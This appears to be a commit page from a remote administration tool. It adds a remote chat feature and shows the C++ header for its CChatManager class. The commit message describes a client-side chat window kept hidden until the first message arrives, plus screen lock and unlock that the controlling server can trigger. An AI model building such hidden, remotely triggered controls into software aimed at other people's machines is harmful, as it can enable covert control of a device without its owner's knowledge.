Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock. Co-Authored-By: deepseek-v4-pro
31 lines
691 B
C++
31 lines
691 B
C++
// ChatManager.h: interface for the CChatManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#pragma once
|
|
|
|
#include "Manager.h"
|
|
|
|
#if ENABLE_MESSAGE==0
|
|
#define CChatManager CManager
|
|
#else
|
|
|
|
class CChatManager : public CManager
|
|
{
|
|
public:
|
|
HINSTANCE m_hInstance;
|
|
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
|
virtual ~CChatManager();
|
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
|
|
|
private:
|
|
BOOL m_bRun;
|
|
HANDLE m_hThread;
|
|
HWND m_hWnd;
|
|
|
|
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
|
|
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
|
|
};
|
|
|
|
#endif
|